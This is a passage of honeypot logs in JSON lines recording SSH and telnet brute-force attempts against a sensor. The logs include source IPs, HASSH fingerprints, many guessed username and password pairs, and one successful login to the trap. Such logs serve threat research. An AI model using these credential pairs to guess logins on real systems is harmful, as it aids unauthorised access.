af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:06.436175Z","src_ip":"124.13.124.212","session":"dc993e97bb51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa$$word1","message":"login attempt [ubuntu/Pa$$word1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:07.432907Z","src_ip":"124.13.124.212","session":"dc993e97bb51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:08.676596Z","src_ip":"124.13.124.212","session":"dc993e97bb51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.248.110","src_port":43386,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0b0f47a17c4","protocol":"telnet","message":"New connection: 37.187.248.110:43386 (10.17.0.5:23) [session: b0b0f47a17c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:09.262549Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.59.176.52","src_port":43462,"dst_ip":"10.17.0.5","dst_port":23,"session":"b70aae8f2f75","protocol":"telnet","message":"New connection: 37.59.176.52:43462 (10.17.0.5:23) [session: b70aae8f2f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:11.470134Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50272,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c664ce4483a","protocol":"ssh","message":"New connection: 159.203.92.129:50272 (159.203.135.109:22) [session: 0c664ce4483a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:13.308195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:13.342312Z","src_ip":"159.203.92.129","session":"0c664ce4483a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:13.346190Z","src_ip":"159.203.92.129","session":"0c664ce4483a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias1234","message":"login attempt [alias/alias1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:13.408069Z","src_ip":"159.203.92.129","session":"0c664ce4483a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":42742,"dst_ip":"10.17.0.5","dst_port":22,"session":"83c7436c80b9","protocol":"ssh","message":"New connection: 171.244.143.209:42742 (10.17.0.5:22) [session: 83c7436c80b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:13.570916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:13.578979Z","src_ip":"171.244.143.209","session":"83c7436c80b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:13.830059Z","src_ip":"171.244.143.209","session":"83c7436c80b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:14.416987Z","src_ip":"159.203.92.129","session":"0c664ce4483a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"India@123","message":"login attempt [root/India@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:14.799880Z","src_ip":"171.244.143.209","session":"83c7436c80b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:16.047898Z","src_ip":"171.244.143.209","session":"83c7436c80b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.248.78.71","src_port":50698,"dst_ip":"159.203.135.109","dst_port":23,"session":"afa6cd212a63","protocol":"telnet","message":"New connection: 45.248.78.71:50698 (159.203.135.109:23) [session: afa6cd212a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:19.592881Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.59.176.52","src_port":36340,"dst_ip":"10.17.0.5","dst_port":23,"session":"15081eb707d3","protocol":"telnet","message":"New connection: 37.59.176.52:36340 (10.17.0.5:23) [session: 15081eb707d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:19.660626Z"}
{"eventid":"cowrie.session.closed","duration":30.77509880065918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:40.037412Z","src_ip":"37.187.248.110","session":"b0b0f47a17c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.03347826004028,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:44.503488Z","src_ip":"37.59.176.52","session":"b70aae8f2f75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":54396,"dst_ip":"159.203.135.109","dst_port":22,"session":"16ba83b286cd","protocol":"ssh","message":"New connection: 119.195.89.96:54396 (159.203.135.109:22) [session: 16ba83b286cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:45.404429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:45.409224Z","src_ip":"119.195.89.96","session":"16ba83b286cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:45.601499Z","src_ip":"119.195.89.96","session":"16ba83b286cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dadmin","password":"123456","message":"login attempt [dadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:46.403798Z","src_ip":"119.195.89.96","session":"16ba83b286cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:47.597581Z","src_ip":"119.195.89.96","session":"16ba83b286cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.02643346786499,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:50.686930Z","src_ip":"37.59.176.52","session":"15081eb707d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.695990562438965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:51.288764Z","src_ip":"45.248.78.71","session":"afa6cd212a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52528,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c7a25e47303","protocol":"ssh","message":"New connection: 159.203.92.129:52528 (159.203.135.109:22) [session: 8c7a25e47303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:57.617656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:57.622368Z","src_ip":"159.203.92.129","session":"8c7a25e47303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:57.631334Z","src_ip":"159.203.92.129","session":"8c7a25e47303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alias","password":"alias123456","message":"login attempt [alias/alias123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:57.644821Z","src_ip":"159.203.92.129","session":"8c7a25e47303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:20:58.650959Z","src_ip":"159.203.92.129","session":"8c7a25e47303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.13.124.212","src_port":49696,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3f93ae7a5ec","protocol":"ssh","message":"New connection: 124.13.124.212:49696 (159.203.135.109:22) [session: a3f93ae7a5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:03.795278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:03.799981Z","src_ip":"124.13.124.212","session":"a3f93ae7a5ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:04.040690Z","src_ip":"124.13.124.212","session":"a3f93ae7a5ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ooklaserver","password":"ooklaserver","message":"login attempt [ooklaserver/ooklaserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:05.026515Z","src_ip":"124.13.124.212","session":"a3f93ae7a5ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:06.272552Z","src_ip":"124.13.124.212","session":"a3f93ae7a5ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.143.209","src_port":55326,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1d55e1a3ebe","protocol":"ssh","message":"New connection: 171.244.143.209:55326 (10.17.0.5:22) [session: e1d55e1a3ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:16.010752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:16.016122Z","src_ip":"171.244.143.209","session":"e1d55e1a3ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:16.263425Z","src_ip":"171.244.143.209","session":"e1d55e1a3ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tu123456","message":"login attempt [root/Tu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:17.279393Z","src_ip":"171.244.143.209","session":"e1d55e1a3ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:18.525392Z","src_ip":"171.244.143.209","session":"e1d55e1a3ebe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":60339,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f903926769e","protocol":"ssh","message":"New connection: 119.195.89.96:60339 (159.203.135.109:22) [session: 1f903926769e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:40.791911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:40.796443Z","src_ip":"119.195.89.96","session":"1f903926769e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:40.990233Z","src_ip":"119.195.89.96","session":"1f903926769e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1qaz@WSX","message":"login attempt [oracle/1qaz@WSX] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:41.797654Z","src_ip":"119.195.89.96","session":"1f903926769e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:21:42.232065Z","src_ip":"119.195.89.96","session":"1f903926769e","protocol":"ssh"}
